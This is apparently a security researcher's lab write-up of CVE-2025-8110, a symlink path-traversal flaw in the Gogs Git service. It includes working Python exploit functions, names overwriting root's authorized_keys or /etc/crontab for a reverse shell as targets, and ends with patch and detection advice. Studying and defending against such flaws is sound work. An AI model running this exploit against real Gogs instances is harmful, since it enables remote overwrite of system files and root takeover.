The Vulnerability
Gogs is a lightweight, open-source self-hosted Git
service. It's basically a self-deployable GitHub written in Go.
CVE-2025-8110 is a path traversal vulnerability
(CWE-22) in its PutContents API endpoint
(/api/v1/repos/:owner/:repo/contents/:path). It was
discovered by Wiz Research in July 2025 while investigating a real
malware infection on a customer workload. CVSS score: 8.7 High.
| Attack vector | Network |
| Privileges required | Low (any registered user) |
| User interaction | None |
| Confidentiality impact | High |
| Integrity impact | High |
| Affected versions | Gogs ≤ 0.13.3 |
| Patch | Fixed in v0.13.4 |
The core flaw is a validation/execution gap
When you call PutContents to edit a file in a repository,
Gogs validates the filename for ../ sequences to block
directory traversal. So far so good. But it never checks whether the
file being written to is a symbolic link.
If you've already committed a symlink into the repository pointing
outside its boundary (say, a file called config that
secretly points to /root/.ssh/authorized_keys), Gogs will
happily follow it and write your payload directly to that real file.
The OS does what the OS does. Gogs never sees the problem.
../ traversal but it never accounted for symlinks. CVE-2025-8110
is the bypass that fell out of that incomplete fix.
Attack Flow
Click any step to expand it.
auto_init: true is set because of an internal commit
initialization bug. The web UI form handles this correctly, so
the exploit uses the web form via a CSRF-extracted POST request.
os.symlink(TARGET_FILE, "config"),
then commits and pushes. Git detects the OS-level symlink and stores
it with file mode 120000 (the magic number that marks a
Git symlink blob). The symlink name (config) looks like
an innocent configuration file. Nobody reading the commit log would
notice anything unusual.
config, which passed path validation.
config for directory traversal sequences.
Finds none. The validation passes. Gogs does not resolve the symlink
or check what it points to. This is the bug: validation and
execution are separated, and only one of them is security-aware.
/root/.ssh/authorized_keys
to plant an SSH public key for root access; overwrite
/etc/crontab for a reverse shell that runs every minute;
overwrite a Gogs config file to redirect traffic. Gogs runs as root
in the default Docker deployment, so no privilege escalation is needed.
Setting Up the Lab
The lab is a single Docker container running the vulnerable version of Gogs, isolated to localhost with no external connectivity. The goal is a realistic target that's completely safe to test against.
# 1. Pull and start the vulnerable container
docker run -d --name gogs-vulnerable \
-p 3000:3000 gogs/gogs:0.13.0
# 2. Complete setup wizard at http://localhost:3000
# Database: SQLite3
# Application URL: http://localhost:3000/
# Create admin account
# 3. Create the sensitive target file inside the container
docker exec gogs-vulnerable sh -c \
'echo "SECRET_KEY=supersecret123" > /tmp/sensitive_config.txt \
&& chmod 777 /tmp/sensitive_config.txt'
# 4. Verify
docker exec gogs-vulnerable cat /tmp/sensitive_config.txt
# → SECRET_KEY=supersecret123
Building the Exploit — Three Attempts
I didn't write a working exploit on the first try. Here are the three versions and what I learned from each failure. The mistakes were more instructive than the success.
Version 1 :: API repo creation, 500 error
My first script used the Gogs API to create the repository with
auto_init: true so it would have an initial commit. The API
returned HTTP 500. The server logs revealed the real error:
Gogs 0.13.0 has an internal bug where API-triggered repo initialization fails when it tries to create the README file. The fix: don't use the API. Use the web UI form directly, just like a browser would.
Version 2 :: Symlink was a regular file
Version 2 fixed repo creation by using the web form (CSRF token extraction + POST). But the PutContents PUT call still returned 500. The server log told the story:
Gogs was correctly resolving the symlink when it was created, which was good. But the target
file didn't exist yet, or the Gogs process couldn't write to it. Two
problems: first, the target file needed to exist with open permissions
before the exploit ran. Second, my v2 script used raw git plumbing
(git hash-object + git update-index --cacheinfo 120000)
to create the symlink blob. This was technically correct but something
in how Gogs processed the PUT with a raw plumbing blob caused the failure.
Version 3 :: The working approach
The key insight came from studying how the real-world exploit works: use
os.symlink() on the filesystem after a git clone,
then commit and push. Git detects real OS symlinks automatically and stores
them with mode 120000 (no raw plumbing needed). The result is
a commit that Gogs processes correctly.
def push_symlink_via_clone(token):
# Clone the repo with token auth embedded in URL
clone_url = f"http://{USERNAME}:{token}@localhost:3000/{USERNAME}/{REPO}.git"
tmpdir = tempfile.mkdtemp()
repo_dir = os.path.join(tmpdir, "repo")
subprocess.run(["git", "clone", clone_url, repo_dir])
# Create a real OS symlink — git stores these as mode 120000 automatically
os.symlink(TARGET_FILE, os.path.join(repo_dir, SYMLINK_NAME))
# Stage, commit, push
subprocess.run(["git", "add", SYMLINK_NAME], cwd=repo_dir)
subprocess.run(["git", "commit", "-m", "add config file"], cwd=repo_dir)
subprocess.run(["git", "push"], cwd=repo_dir)
def trigger_overwrite(token):
url = f"{GOGS_URL}/api/v1/repos/{USERNAME}/{REPO}/contents/{SYMLINK_NAME}"
headers = {"Authorization": f"token {token}"}
# Gogs validates "config" — looks safe ✓
# OS resolves symlink — writes to TARGET_FILE instead
resp = requests.put(url, headers=headers, json={
"message": "update config",
"content": base64.b64encode(PAYLOAD.encode()).decode(),
# no sha field — Gogs handles symlink targets differently
})
Results
The exploit was tested with both an administrator account and a standard low-privilege account created through open registration. Both succeeded.
PWNED_BY_CVE_2025_8110
This validates the CVE's CVSS vector directly: Low Privilege Required. Admin access provides no advantage. Any registered user can run the full chain. On a default Gogs deployment, that means anyone on the internet if open registration is enabled and the instance is public-facing.
What I Actually Learned
120000 is how Git stores symlinks internally.
The web API and raw git plumbing produce different results. Understanding
this distinction was the key to making the exploit work and to
understanding exactly why the vulnerable code fails to catch it.
docker logs gogs-vulnerable gave me the
exact Go error and file path within seconds. That's the difference
between five minutes of debugging and five hours of guessing.
Patch and Protect
If you're running Gogs, upgrade to v0.13.4 immediately if you haven't
already. The fix (GitHub PR #8078) adds symlink resolution to the path validation
step and any file update where the resolved path hierarchy contains a
symlink is rejected before the write occurs.
If you can't upgrade right now: disable open registration (Admin Panel → Settings → Disable Self-Registration) and restrict the instance to a VPN or allowlist. This doesn't fix the vulnerability but requires the attacker to already have a valid account, raising the bar considerably.
git ls-tree -r HEAD | grep ^120000.
Mode 120000 entries that point outside the repo boundary
are a sign of exploitation or attempted exploitation.
Sources
Wiz Research — CVE-2025-8110 discovery writeup · CISA KEV Catalog (added January 2026) · GitHub PR #8078 — the fix · NVD CVE-2025-8110 · SentinelOne Vulnerability Database